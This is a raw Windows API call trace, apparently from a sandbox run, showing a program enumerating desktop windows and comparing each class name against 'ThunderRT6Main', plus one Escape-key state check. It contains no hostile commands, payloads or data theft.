[0107.509] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0107.509] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0107.509] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0107.509] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148 [0107.509] GetClassNameA (in: hWnd=0x10148, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0107.509] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0107.509] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0107.509] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e [0107.509] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0107.509] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0107.509] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0107.509] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132 [0107.509] GetClassNameA (in: hWnd=0x10132, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0107.509] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0107.509] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0107.509] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134 [0107.509] GetClassNameA (in: hWnd=0x10134, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.509] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.509] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0107.509] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a [0107.509] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20 [0107.509] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1 [0107.509] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0107.509] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c [0107.509] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.510] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.510] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0107.510] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120 [0107.510] GetClassNameA (in: hWnd=0x10120, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0107.510] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0107.510] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0107.510] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122 [0107.510] GetClassNameA (in: hWnd=0x10122, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.510] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.510] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0107.510] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e [0107.510] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0107.510] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0107.510] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0107.510] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0 [0107.510] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.510] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.510] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.510] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae [0107.510] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0107.510] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0107.510] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.510] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0 [0107.510] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0107.510] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0107.510] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.510] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4 [0107.510] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.510] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.510] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.510] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc [0107.511] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.511] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.511] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.511] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca [0107.511] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.511] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.511] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.511] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0 [0107.511] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0107.511] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0107.511] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.511] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018 [0107.511] GetClassNameA (in: hWnd=0x20018, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0107.511] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0107.511] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0107.511] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0107.511] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.511] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.511] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0107.511] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0107.511] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0107.511] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0107.511] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0107.511] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0107.511] GetClassNameA (in: hWnd=0x20016, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.511] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.511] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0107.511] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0107.511] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0107.511] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0107.511] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0107.511] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108 [0107.511] GetClassNameA (in: hWnd=0x20108, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.512] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.512] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0107.512] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106 [0107.512] GetClassNameA (in: hWnd=0x10106, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0107.512] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0107.512] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588 [0107.512] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102 [0107.512] GetClassNameA (in: hWnd=0x10102, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0107.512] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0107.512] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0107.512] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc [0107.512] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0107.512] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0107.512] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0107.512] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e [0107.512] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0107.512] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0107.512] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.512] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0107.512] GetClassNameA (in: hWnd=0x10084, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0107.512] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0107.512] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518 [0107.512] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0107.512] GetClassNameA (in: hWnd=0x10082, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0107.512] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0107.512] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.512] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007e [0107.512] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0107.512] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0107.512] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0107.512] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10080 [0107.512] GetClassNameA (in: hWnd=0x10080, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.513] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.513] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0107.513] GetWindow (hWnd=0x10080, uCmd=0x2) returned 0x10076 [0107.513] GetClassNameA (in: hWnd=0x10076, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.513] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.513] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.513] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10064 [0107.513] GetClassNameA (in: hWnd=0x10064, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.513] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.513] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.513] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10110 [0107.513] GetClassNameA (in: hWnd=0x10110, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="#43") returned 3 [0107.513] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0107.513] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0107.513] GetWindow (hWnd=0x10110, uCmd=0x2) returned 0x10112 [0107.513] GetClassNameA (in: hWnd=0x10112, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.513] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.513] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0107.513] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10060 [0107.513] GetClassNameA (in: hWnd=0x10060, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0107.513] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0107.513] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.513] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1004c [0107.513] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0107.513] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0107.513] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.513] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10042 [0107.513] GetClassNameA (in: hWnd=0x10042, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0107.513] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0107.513] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0107.513] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0107.513] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0107.514] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0107.514] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0107.514] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x10048 [0107.514] GetClassNameA (in: hWnd=0x10048, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0107.514] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0107.514] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x124 [0107.514] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x10040 [0107.514] GetClassNameA (in: hWnd=0x10040, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.514] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.514] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0107.514] GetWindow (hWnd=0x10040, uCmd=0x2) returned 0x200fe [0107.514] GetClassNameA (in: hWnd=0x200fe, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0107.514] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0107.514] GetWindowThreadProcessId (in: hWnd=0x200fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0107.514] GetWindow (hWnd=0x200fe, uCmd=0x2) returned 0x1011c [0107.514] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.514] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.514] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0107.514] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x1011a [0107.514] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0107.514] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0107.514] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0107.514] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x100ec [0107.514] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0107.514] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0107.514] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0107.514] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0107.514] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbd22360 [0107.515] IMalloc:Free (This=0x7feffc15380, pv=0xbd22360) [0107.893] GetAsyncKeyState (vKey=27) returned 0 [0107.893] GetCurrentThreadId () returned 0x8fc [0107.893] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0107.893] GetDesktopWindow () returned 0x10010 [0107.893] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10070 [0107.893] GetClassNameA (in: hWnd=0x10070, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.893] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.893] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.893] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10140 [0107.893] GetClassNameA (in: hWnd=0x10140, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20 [0107.893] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1 [0107.893] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0107.893] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a [0107.893] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.893] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.893] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0107.893] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138 [0107.893] GetClassNameA (in: hWnd=0x10138, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0107.893] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0107.893] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0107.893] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc [0107.894] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.894] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.894] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.894] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8 [0107.894] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.894] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.894] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.894] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0 [0107.894] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.894] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.894] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.894] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072 [0107.894] GetClassNameA (in: hWnd=0x10072, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.894] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.894] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.894] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x1005c [0107.894] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.894] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.894] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.894] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a [0107.894] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.894] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.894] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.894] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a [0107.894] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.894] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.894] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.894] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078 [0107.894] GetClassNameA (in: hWnd=0x10078, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.894] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.894] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.894] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074 [0107.894] GetClassNameA (in: hWnd=0x10074, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.894] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.894] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.894] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052 [0107.894] GetClassNameA (in: hWnd=0x10052, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0107.894] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0107.894] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.895] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e [0107.895] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0107.895] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0107.895] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.895] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054 [0107.895] GetClassNameA (in: hWnd=0x10054, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Button") returned 6 [0107.895] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0107.895] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.895] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050 [0107.895] GetClassNameA (in: hWnd=0x10050, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0107.895] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0107.895] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.895] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4 [0107.895] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.895] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.895] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0107.895] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a [0107.895] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0107.895] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0107.895] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.895] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0107.895] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0107.895] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0107.895] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0107.895] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6 [0107.895] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0107.895] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0107.895] 